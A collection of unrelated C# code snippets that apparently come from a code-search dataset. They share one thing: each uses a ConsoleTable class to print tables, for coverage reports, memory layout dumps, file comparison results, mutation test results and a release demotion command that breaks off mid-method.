public string FormatConsole() { var table = new ConsoleTable(); table.AddColumn(this.headers.ToArray()); foreach (var row in this.rows) { table.AddRow(row); } return table.ToString(); }
static void Main(String[] args) { var table = new ConsoleTable("one", "two", "three"); table.AddRow(1, 2, 3) .AddRow("this line should be longer", "yes it is", "oh"); table.Write(); Console.WriteLine(); table = new ConsoleTable("I've", "got", "nothing"); table.Write(); Console.WriteLine(); var rows = Enumerable.Repeat(new Something(), 10); ConsoleTable.From<Something>(rows).Write(); rows = Enumerable.Repeat(new Something(), 0); ConsoleTable.From<Something>(rows).Write(); Console.ReadKey(); }
static void Main(String[] args) { var table = new ConsoleTable("one", "two", "three"); table.AddRow(1, 2, 3) .AddRow("this line should be longer", "yes it is", "oh"); Console.WriteLine("\nFORMAT: Default:\n"); table.Write(); Console.WriteLine("\nFORMAT: MarkDown:\n"); table.Write(Format.MarkDown); Console.WriteLine("\nFORMAT: Alternative:\n"); table.Write(Format.Alternative); Console.WriteLine(); table = new ConsoleTable("I've", "got", "nothing"); table.Write(); Console.WriteLine(); var rows = Enumerable.Repeat(new Something(), 10); ConsoleTable.From<Something>(rows).Write(); rows = Enumerable.Repeat(new Something(), 0); ConsoleTable.From<Something>(rows).Write(); var noCount = new ConsoleTable(new ConsoleTableOptions { Columns = new[] { "one", "two", "three" }, EnableCount = false }); noCount.AddRow(1, 2, 3).Write(); Console.ReadKey(); }
public static string Dump <T>(ref T value, DumpOptions options, InspectorOptions options2) { switch (options) { case DumpOptions.Info: // var addrTable = new ConsoleTable("Addresses", ""); var addr = Mem.AddressOf(ref value); addrTable.AddRow("Address", addr); if (Mem.TryGetAddressOfHeap(value, out var heap)) { addrTable.AddRow("Address (heap)", heap); } addrTable.Write(ConsoleTableFormat.Minimal); // var infoTable = new ConsoleTable("Sizes", ""); infoTable.AddRow("Intrinsic", Mem.SizeOf <T>()); infoTable.AddRow("Auto", Mem.SizeOf(value, SizeOfOptions.Auto)); infoTable.Write(ConsoleTableFormat.Minimal); // var propTable = new ConsoleTable("Runtime info", ""); propTable.AddRow("Pinnable", RuntimeProperties.IsPinnable(value)); propTable.AddRow("Blittable", RuntimeProperties.IsBlittable(value)); propTable.AddRow("Boxed", RuntimeProperties.IsBoxed(value)); propTable.AddRow("Nil", RuntimeProperties.IsDefault(value)); propTable.AddRow("Uninitialized", RuntimeProperties.IsNullMemory(value)); propTable.AddRow("In GC heap", GCHeap.IsHeapPointer(Mem.AddressOfData(ref value))); return(propTable.ToMinimalString()); case DumpOptions.Sizes: var layoutTable = new ConsoleTable("Size Type", "Value"); var options1 = Enum.GetValues <SizeOfOptions>().ToList(); options1.Remove(SizeOfOptions.Heap); foreach (var option in options1) { var sizeOf = Mem.SizeOf(value, option); if (sizeOf == Native.INVALID) { continue; } layoutTable.AddRow(Enum.GetName(option), sizeOf); } var mt = value.GetMetaType(); if (!mt.RuntimeType.IsValueType) { layoutTable.AddRow(nameof(SizeOfOptions.Heap), Mem.SizeOf(value, SizeOfOptions.Heap)); } return(layoutTable.ToString()); case DumpOptions.Layout: var layoutTable1 = new ConsoleTable(); var flags = EnumHelper.GetSetFlags(options2); if (options2 == InspectorOptions.All) { flags.Remove(InspectorOptions.All); } layoutTable1.AddColumn(flags.Select(Enum.GetName)); // Rewrite options options2 = default; foreach (var flag in flags) { options2 |= flag; } var mt1 = value.GetMetaType(); var fields = mt1.Fields.Where(x => !x.IsStatic); int s = Mem.SizeOf(value, SizeOfOptions.Auto); var p = Mem.AddressOf(ref value); foreach (var metaField in fields) { var rowValues = new List <object>(); if (options2.HasFlag(InspectorOptions.Offset)) { rowValues.Add($"{metaField.Offset:X}"); } if (options2.HasFlag(InspectorOptions.Size)) { rowValues.Add(metaField.Size); } if (options2.HasFlag(InspectorOptions.Type)) { rowValues.Add(metaField.FieldType.Name); } if (options2.HasFlag(InspectorOptions.Name)) { rowValues.Add(metaField.Name); } if (options2.HasFlag(InspectorOptions.Address)) { var addr1 = Mem.AddressOfData(ref value) + metaField.Offset; rowValues.Add(addr1.ToString()); } if (options2.HasFlag(InspectorOptions.Value)) { object fieldVal; if (!mt1.RuntimeType.IsConstructedGenericType) { fieldVal = metaField.Info.GetValue(value); } else { fieldVal = "?"; } rowValues.Add($"{fieldVal}"); } layoutTable1.AddRow(rowValues.ToArray()); } if (value is string str) { for (int i = 1; i < str.Length; i++) { char c = str[i]; var rowValues = new List <object>(); int offsetBase = (i * sizeof(char)); if (options2.HasFlag(InspectorOptions.Offset)) { rowValues.Add($"{offsetBase + RuntimeProperties.StringOverhead - sizeof(char):X}"); } if (options2.HasFlag(InspectorOptions.Size)) { rowValues.Add(sizeof(char)); } if (options2.HasFlag(InspectorOptions.Type)) { rowValues.Add(nameof(Char)); } if (options2.HasFlag(InspectorOptions.Name)) { rowValues.Add($"Char #{i + 1}"); } if (options2.HasFlag(InspectorOptions.Address)) { if (Mem.TryGetAddressOfHeap(value, OffsetOptions.StringData, out var addr2)) { addr2 += offsetBase; rowValues.Add(addr2.ToString()); } } if (options2.HasFlag(InspectorOptions.Value)) { rowValues.Add($"{c}"); } layoutTable1.AddRow(rowValues.ToArray()); } } return(layoutTable1.ToString()); default: throw new ArgumentOutOfRangeException(nameof(options)); } }
static int Main(string[] args) { var logger = new ConsoleLogger(); var app = new CommandLineApplication(); app.Name = "coverlet"; app.FullName = "Cross platform .NET Core code coverage tool"; app.HelpOption("-h|--help"); app.VersionOption("-v|--version", GetAssemblyVersion()); int exitCode = (int)CommandExitCodes.Success; CommandArgument module = app.Argument("<ASSEMBLY>", "Path to the test assembly."); CommandOption target = app.Option("-t|--target", "Path to the test runner application.", CommandOptionType.SingleValue); CommandOption targs = app.Option("-a|--targetargs", "Arguments to be passed to the test runner.", CommandOptionType.SingleValue); CommandOption output = app.Option("-o|--output", "Output of the generated coverage report", CommandOptionType.SingleValue); CommandOption <LogLevel> verbosity = app.Option <LogLevel>("-v|--verbosity", "Sets the verbosity level of the command. Allowed values are quiet, minimal, normal, detailed.", CommandOptionType.SingleValue); CommandOption formats = app.Option("-f|--format", "Format of the generated coverage report.", CommandOptionType.MultipleValue); CommandOption threshold = app.Option("--threshold", "Exits with error if the coverage % is below value.", CommandOptionType.SingleValue); CommandOption thresholdTypes = app.Option("--threshold-type", "Coverage type to apply the threshold to.", CommandOptionType.MultipleValue); CommandOption thresholdStat = app.Option("--threshold-stat", "Coverage statistic used to enforce the threshold value.", CommandOptionType.SingleValue); CommandOption excludeFilters = app.Option("--exclude", "Filter expressions to exclude specific modules and types.", CommandOptionType.MultipleValue); CommandOption includeFilters = app.Option("--include", "Filter expressions to include only specific modules and types.", CommandOptionType.MultipleValue); CommandOption excludedSourceFiles = app.Option("--exclude-by-file", "Glob patterns specifying source files to exclude.", CommandOptionType.MultipleValue); CommandOption includeDirectories = app.Option("--include-directory", "Include directories containing additional assemblies to be instrumented.", CommandOptionType.MultipleValue); CommandOption excludeAttributes = app.Option("--exclude-by-attribute", "Attributes to exclude from code coverage.", CommandOptionType.MultipleValue); CommandOption includeTestAssembly = app.Option("--include-test-assembly", "Specifies whether to report code coverage of the test assembly.", CommandOptionType.NoValue); CommandOption singleHit = app.Option("--single-hit", "Specifies whether to limit code coverage hit reporting to a single hit for each location", CommandOptionType.NoValue); CommandOption mergeWith = app.Option("--merge-with", "Path to existing coverage result to merge.", CommandOptionType.SingleValue); CommandOption useSourceLink = app.Option("--use-source-link", "Specifies whether to use SourceLink URIs in place of file system paths.", CommandOptionType.NoValue); app.OnExecute(() => { if (string.IsNullOrEmpty(module.Value) || string.IsNullOrWhiteSpace(module.Value)) { throw new CommandParsingException(app, "No test assembly specified."); } if (!target.HasValue()) { throw new CommandParsingException(app, "Target must be specified."); } if (verbosity.HasValue()) { // Adjust log level based on user input. logger.Level = verbosity.ParsedValue; } Coverage coverage = new Coverage(module.Value, includeFilters.Values.ToArray(), includeDirectories.Values.ToArray(), excludeFilters.Values.ToArray(), excludedSourceFiles.Values.ToArray(), excludeAttributes.Values.ToArray(), includeTestAssembly.HasValue(), singleHit.HasValue(), mergeWith.Value(), useSourceLink.HasValue(), logger); coverage.PrepareModules(); Process process = new Process(); process.StartInfo.FileName = target.Value(); process.StartInfo.Arguments = targs.HasValue() ? targs.Value() : string.Empty; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.OutputDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogInformation(eventArgs.Data, important: true); } }; process.ErrorDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogError(eventArgs.Data); } }; process.Start(); process.BeginErrorReadLine(); process.BeginOutputReadLine(); process.WaitForExit(); var dOutput = output.HasValue() ? output.Value() : Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar.ToString(); var dThreshold = threshold.HasValue() ? double.Parse(threshold.Value()) : 0; var dThresholdTypes = thresholdTypes.HasValue() ? thresholdTypes.Values : new List <string>(new string[] { "line", "branch", "method" }); var dThresholdStat = thresholdStat.HasValue() ? Enum.Parse <ThresholdStatistic>(thresholdStat.Value(), true) : Enum.Parse <ThresholdStatistic>("minimum", true); logger.LogInformation("\nCalculating coverage result..."); var result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(dOutput); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } foreach (var format in (formats.HasValue() ? formats.Values : new List <string>(new string[] { "json" }))) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console logger.LogInformation(" Outputting results to console", important: true); logger.LogInformation(reporter.Report(result), important: true); } else { // Output to file var filename = Path.GetFileName(dOutput); filename = (filename == string.Empty) ? $"coverage.{reporter.Extension}" : filename; filename = Path.HasExtension(filename) ? filename : $"{filename}.{reporter.Extension}"; var report = Path.Combine(directory, filename); logger.LogInformation($" Generating report '{report}'", important: true); File.WriteAllText(report, reporter.Report(result)); } } var thresholdTypeFlags = ThresholdTypeFlags.None; foreach (var thresholdType in dThresholdTypes) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Line; } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Branch; } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Method; } } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); int numModules = result.Modules.Count; var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var _module in result.Modules) { var linePercent = summary.CalculateLineCoverage(_module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(_module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(_module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(_module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } logger.LogInformation(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); logger.LogInformation(coverageTable.ToStringAlternative()); if (process.ExitCode > 0) { exitCode += (int)CommandExitCodes.TestFailed; } thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, dThreshold, thresholdTypeFlags, dThresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { exitCode += (int)CommandExitCodes.CoverageBelowThreshold; var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} line coverage is below the specified {dThreshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} branch coverage is below the specified {dThreshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} method coverage is below the specified {dThreshold}"); } throw new Exception(exceptionMessageBuilder.ToString()); } return(exitCode); }); try { return(app.Execute(args)); } catch (CommandParsingException ex) { logger.LogError(ex.Message); app.ShowHelp(); return((int)CommandExitCodes.CommandParsingException); } catch (Win32Exception we) when(we.Source == "System.Diagnostics.Process") { logger.LogError($"Start process '{target.Value()}' failed with '{we.Message}'"); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } catch (Exception ex) { logger.LogError(ex.Message); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } }
/// <summary> /// Writes the given set of results into the File. --- /// </summary> /// <param name="results">A set of results regarding each compared pair of files.</param> /// <param name="level">The output details level.</param>DisplayDisplay public override void Write(List <FileMatchingScore> results, DisplayLevel level = DisplayLevel.BASIC) { //Comments foreach (FileMatchingScore fms in results) { Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine(""); Console.WriteLine("##############################################################################"); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write(" Left file: "); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(fms.LeftFileName); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write(" Right file: "); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(fms.RightFileName); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write(" Matching: "); Console.ForegroundColor = (fms.Matching < GetThreshold(DisplayLevel.BASIC) ? ConsoleColor.DarkGreen : ConsoleColor.DarkRed); Console.WriteLine("{0:P2}", fms.Matching); if (level >= DisplayLevel.COMPARATOR) { foreach (ComparatorMatchingScore cms in fms.ComparatorResults) { Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("------------------------------------------------------------------------------"); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.Write(" Comparator: "); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(cms.Comparator); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.Write(" Matching: "); Console.ForegroundColor = (cms.Matching < GetThreshold(DisplayLevel.COMPARATOR) ? ConsoleColor.DarkGreen : ConsoleColor.DarkRed); Console.WriteLine("{0:P2}", cms.Matching); //Looping over the detials DetailsMatchingScore dms = (DetailsMatchingScore)cms; while (dms != null) { if (level >= dms.DisplayLevel) { Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("··············································································"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkRed; Console.WriteLine(string.Format(" Displaying details with a match value > {0:P2}", GetThreshold(dms.DisplayLevel))); Console.WriteLine(); var table = new ConsoleTable(dms.DetailsCaption); for (int i = 0; i < dms.DetailsData.Count; i++) { if (dms.DetailsMatch[i] > GetThreshold(dms.DisplayLevel)) { List <string> formatedData = new List <string>(); for (int j = 0; j < dms.DetailsFormat.Length; j++) { if (dms.DetailsFormat[j].Contains(":L")) { //Custom string length formatting output string sl = dms.DetailsFormat[j].Substring(dms.DetailsFormat[j].IndexOf(":L") + 2); sl = sl.Substring(0, sl.IndexOf("}")); int length = int.Parse(sl); string pText = dms.DetailsData[i][j].ToString(); if (pText.Length <= length) { formatedData.Add(pText); } else { formatedData.Add(string.Format("{0}...", pText.Substring(0, length - 3))); } } else { //Native string formatting output formatedData.Add(String.Format(dms.DetailsFormat[j], dms.DetailsData[i][j])); } } table.AddRow(formatedData.ToArray()); } } table.Write(); Console.WriteLine(); } dms = dms.Child; } } } Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("##############################################################################"); Console.WriteLine(""); Console.ForegroundColor = ConsoleColor.White; } }
public override bool Execute() { try { Console.WriteLine("\nCalculating coverage result..."); IFileSystem fileSystem = DependencyInjection.Current.GetService <IFileSystem>(); if (InstrumenterState is null || !fileSystem.Exists(InstrumenterState.ItemSpec)) { _logger.LogError("Result of instrumentation task not found"); return(false); } Coverage coverage = null; using (Stream instrumenterStateStream = fileSystem.NewFileStream(InstrumenterState.ItemSpec, FileMode.Open)) { var instrumentationHelper = DependencyInjection.Current.GetService <IInstrumentationHelper>(); // Task.Log is teared down after a task and thus the new MSBuildLogger must be passed to the InstrumentationHelper // https://github.com/microsoft/msbuild/issues/5153 instrumentationHelper.SetLogger(_logger); coverage = new Coverage(CoveragePrepareResult.Deserialize(instrumenterStateStream), this._logger, DependencyInjection.Current.GetService <IInstrumentationHelper>(), fileSystem); } try { fileSystem.Delete(InstrumenterState.ItemSpec); } catch (Exception ex) { // We don't want to block coverage for I/O errors _logger.LogWarning($"Exception during instrument state deletion, file name '{InstrumenterState.ItemSpec}' exception message '{ex.Message}'"); } CoverageResult result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(_output); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } var formats = _format.Split(','); foreach (var format in formats) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console Console.WriteLine(" Outputting results to console"); Console.WriteLine(reporter.Report(result)); } else { ReportWriter writer = new ReportWriter(_coverletMultiTargetFrameworksCurrentTFM, directory, _output, reporter, fileSystem, DependencyInjection.Current.GetService <IConsole>(), result); writer.WriteReport(); } } var thresholdTypeFlags = ThresholdTypeFlags.None; var thresholdStat = ThresholdStatistic.Minimum; foreach (var thresholdType in _thresholdType.Split(',').Select(t => t.Trim())) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Line; } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Branch; } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Method; } } if (_thresholdStat.Equals("average", StringComparison.OrdinalIgnoreCase)) { thresholdStat = ThresholdStatistic.Average; } else if (_thresholdStat.Equals("total", StringComparison.OrdinalIgnoreCase)) { thresholdStat = ThresholdStatistic.Total; } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); int numModules = result.Modules.Count; var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var module in result.Modules) { var linePercent = summary.CalculateLineCoverage(module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } Console.WriteLine(); Console.WriteLine(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); Console.WriteLine(coverageTable.ToStringAlternative()); thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, _threshold, thresholdTypeFlags, thresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} line coverage is below the specified {_threshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} branch coverage is below the specified {_threshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} method coverage is below the specified {_threshold}"); } throw new Exception(exceptionMessageBuilder.ToString()); } } catch (Exception ex) { _logger.LogError(ex); return(false); } return(true); }
private UnitTestResultType[] CreateUnitTestResults(IList <MutationDocumentResult> mutations) { var unitTestResults = new List <UnitTestResultType>(); var testListId = Guid.NewGuid().ToString(); foreach (var mutation in mutations) { string error = string.Empty; if (mutation.CompilationResult == null) { continue; } if (mutation.CompilationResult != null && !mutation.CompilationResult.IsSuccess) { var errorTable = new ConsoleTable("Description", "File"); foreach (var compilerResultError in mutation.CompilationResult.Errors) { errorTable.AddRow(compilerResultError.Message, compilerResultError.Location); } error = $"\n{errorTable.ToStringAlternative()}\n"; } var fileLoadException = mutation.FailedTests.FirstOrDefault(t => t.InnerText != null && t.InnerText.Contains("System.IO.FileLoadException : Could not load file or assembly")); if (fileLoadException != null) { error += $"\nWARNING: It seems like we can't find a file so this result may be invalid: {fileLoadException}"; } var table = new ConsoleTable(" ", " "); table.AddRow("Project", mutation.ProjectName); table.AddRow("File", mutation.FileName); table.AddRow("Where", mutation.Location.Where); table.AddRow("Line", mutation.Location.Line); table.AddRow("Orginal", mutation.Orginal); table.AddRow("Mutation", mutation.Mutation); table.AddRow("Tests run", mutation.TestsRunCount); table.AddRow("Failed tests", mutation.FailedTests.Count); unitTestResults.Add(new UnitTestResultType { testType = "13cdc9d9-ddb5-4fa4-a97d-d965ccfc6d4b", testName = mutation.MutationName, outcome = !mutation.CompilationResult.IsSuccess ? "Ignored" : mutation.Survived ? "Failed" : "Passed", testId = Guid.NewGuid().ToString(), testListId = testListId, executionId = Guid.NewGuid().ToString(), computerName = "mutation", Items = new object[] { new OutputType { StdOut = $"\n{table.ToStringAlternative()}\n", StdErr = error } } }); } return(unitTestResults.ToArray()); }
static async Task <int> CommandDemoteAsync([NotNull] DemoteOptions options, [NotNull] ISnapFilesystem filesystem, [NotNull] ISnapAppReader snapAppReader, [NotNull] ISnapAppWriter snapAppWriter, [NotNull] INuGetPackageSources nuGetPackageSources, [NotNull] INugetService nugetService, [NotNull] IDistributedMutexClient distributedMutexClient, [NotNull] ISnapPackageManager snapPackageManager, [NotNull] ISnapPack snapPack, [NotNull] ISnapNetworkTimeProvider snapNetworkTimeProvider, [NotNull] ISnapExtractor snapExtractor, [NotNull] ISnapOs snapOs, [NotNull] ISnapxEmbeddedResources snapxEmbeddedResources, [NotNull] ICoreRunLib coreRunLib, [NotNull] ILog logger, [NotNull] string workingDirectory, CancellationToken cancellationToken) { if (options == null) { throw new ArgumentNullException(nameof(options)); } if (filesystem == null) { throw new ArgumentNullException(nameof(filesystem)); } if (snapAppReader == null) { throw new ArgumentNullException(nameof(snapAppReader)); } if (snapAppWriter == null) { throw new ArgumentNullException(nameof(snapAppWriter)); } if (nuGetPackageSources == null) { throw new ArgumentNullException(nameof(nuGetPackageSources)); } if (nugetService == null) { throw new ArgumentNullException(nameof(nugetService)); } if (distributedMutexClient == null) { throw new ArgumentNullException(nameof(distributedMutexClient)); } if (snapPackageManager == null) { throw new ArgumentNullException(nameof(snapPackageManager)); } if (snapPack == null) { throw new ArgumentNullException(nameof(snapPack)); } if (snapNetworkTimeProvider == null) { throw new ArgumentNullException(nameof(snapNetworkTimeProvider)); } if (snapExtractor == null) { throw new ArgumentNullException(nameof(snapExtractor)); } if (snapOs == null) { throw new ArgumentNullException(nameof(snapOs)); } if (snapxEmbeddedResources == null) { throw new ArgumentNullException(nameof(snapxEmbeddedResources)); } if (coreRunLib == null) { throw new ArgumentNullException(nameof(coreRunLib)); } if (logger == null) { throw new ArgumentNullException(nameof(logger)); } if (workingDirectory == null) { throw new ArgumentNullException(nameof(workingDirectory)); } if (options == null) { throw new ArgumentNullException(nameof(options)); } if (nugetService == null) { throw new ArgumentNullException(nameof(nugetService)); } var stopwatch = new Stopwatch(); stopwatch.Restart(); var anyRid = options.Rid == null; var anyVersion = options.FromVersion == null; SnapApp anyRidSnapApp = null; SemanticVersion fromVersion = null; var runtimeIdentifiers = new List <string>(); if (!anyVersion) { if (!SemanticVersion.TryParse(options.FromVersion, out fromVersion)) { Console.WriteLine($"Unable to parse from version: {options.FromVersion}"); return(1); } if (!options.RemoveAll) { Console.WriteLine("You must specify --remove-all if you want to demote releases newer than --from-version."); return(1); } } var snapApps = BuildSnapAppsFromDirectory(filesystem, snapAppReader, workingDirectory); if (!snapApps.Apps.Any()) { return(1); } foreach (var snapsApp in snapApps.Apps) { foreach (var target in snapsApp.Targets.Where(target => anyRid || string.Equals(options.Rid, target.Rid, StringComparison.OrdinalIgnoreCase))) { anyRidSnapApp = snapApps.BuildSnapApp(snapsApp.Id, target.Rid, nuGetPackageSources, filesystem); runtimeIdentifiers.AddRange(snapApps.GetRids(anyRidSnapApp)); break; } } if (anyRidSnapApp == null) { if (anyRid) { logger.Error($"Unable to find application with id: {options.Id}."); return(1); } logger.Error($"Unable to find application with id: {options.Id}. Rid: {options.Rid}"); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); Console.WriteLine($"Demoting application with id: {anyRidSnapApp.Id}."); Console.WriteLine($"Runtime identifiers (RID): {string.Join(", ", runtimeIdentifiers)}"); if (anyRid) { if (!logger.Prompt("y|yes", "You have not specified a rid, all releases in listed runtime identifiers will be removed. " + "Do you want to continue? [y|n]") ) { return(1); } } MaybeOverrideLockToken(snapApps, logger, options.Id, options.LockToken); if (string.IsNullOrWhiteSpace(snapApps.Generic.Token)) { logger.Error("Please specify a token in your snapx.yml file. A random UUID is sufficient."); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); var packagesDirectory = BuildPackagesDirectory(filesystem, workingDirectory); filesystem.DirectoryCreateIfNotExists(packagesDirectory); await using var distributedMutex = WithDistributedMutex(distributedMutexClient, logger, snapApps.BuildLockKey(anyRidSnapApp), cancellationToken); var tryAcquireRetries = options.LockRetries == -1 ? int.MaxValue : options.LockRetries; if (!await distributedMutex.TryAquireAsync(TimeSpan.FromSeconds(15), tryAcquireRetries)) { logger.Info('-'.Repeat(TerminalBufferWidth)); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info("Downloading releases nupkg."); var(snapAppsReleases, _, currentReleasesMemoryStream) = await snapPackageManager .GetSnapsReleasesAsync(anyRidSnapApp, logger, cancellationToken); if (currentReleasesMemoryStream != null) { await currentReleasesMemoryStream.DisposeAsync(); } if (snapAppsReleases == null) { return(1); } if (!snapAppsReleases.Any()) { logger.Error($"Releases nupkg does not contain application id: {anyRidSnapApp.Id}"); return(1); } logger.Info($"Downloaded releases nupkg. Current version: {snapAppsReleases.Version}."); var snapAppReleases = options.RemoveAll ? snapAppsReleases.GetReleases(anyRidSnapApp, x => { bool VersionFilter() { return(anyVersion || x.Version > fromVersion); } bool RidFilter() { return(anyRid || x.Target.Rid == anyRidSnapApp.Target.Rid); } return(RidFilter() && VersionFilter()); }) : snapAppsReleases.GetMostRecentReleases(anyRidSnapApp, x => anyRid || x.Target.Rid == anyRidSnapApp.Target.Rid); if (!snapAppReleases.Any()) { logger.Error("Unable to find any releases that matches demotion criterias."); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); var consoleTable = new ConsoleTable("Rid", "Channels", "Version", "Count") { Header = $"Demote summary overview. Total releases: {snapAppReleases.Count()}." }; foreach (var(rid, releases) in snapAppReleases.ToDictionaryByKey(x => x.Target.Rid)) { var channels = releases.SelectMany(x => x.Channels).Distinct().ToList(); var releaseVersion = options.RemoveAll ? "All versions" : releases.First().Version.ToString(); consoleTable.AddRow(new object[] { rid, string.Join(", ", channels), releaseVersion, releases.Count.ToString() }); } consoleTable.Write(logger); if (!logger.Prompt("y|yes", "Ready to demote releases. Do you want to continue? [y|n]")) { return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info($"Retrieving network time from: {snapNetworkTimeProvider}."); var nowUtc = await SnapUtility.RetryAsync(async() => await snapNetworkTimeProvider.NowUtcAsync(), 3); if (!nowUtc.HasValue) { logger.Error($"Unknown error retrieving network time from: {snapNetworkTimeProvider}"); return(1); } var localTimeStr = TimeZoneInfo .ConvertTimeFromUtc(nowUtc.Value, TimeZoneInfo.Local) .ToString("F", CultureInfo.CurrentCulture); logger.Info($"Successfully retrieved network time. Time is now: {localTimeStr}"); logger.Info('-'.Repeat(TerminalBufferWidth)); var snapAppsReleasesDemotedCount = snapAppsReleases.Demote(snapAppReleases); if (snapAppsReleasesDemotedCount != snapAppReleases.Count()) { logger.Error("Unknown error when removing demoted releases. " + $"Expected to remove {snapAppReleases.Count()} but only {snapAppsReleasesDemotedCount} was removed."); return(1); 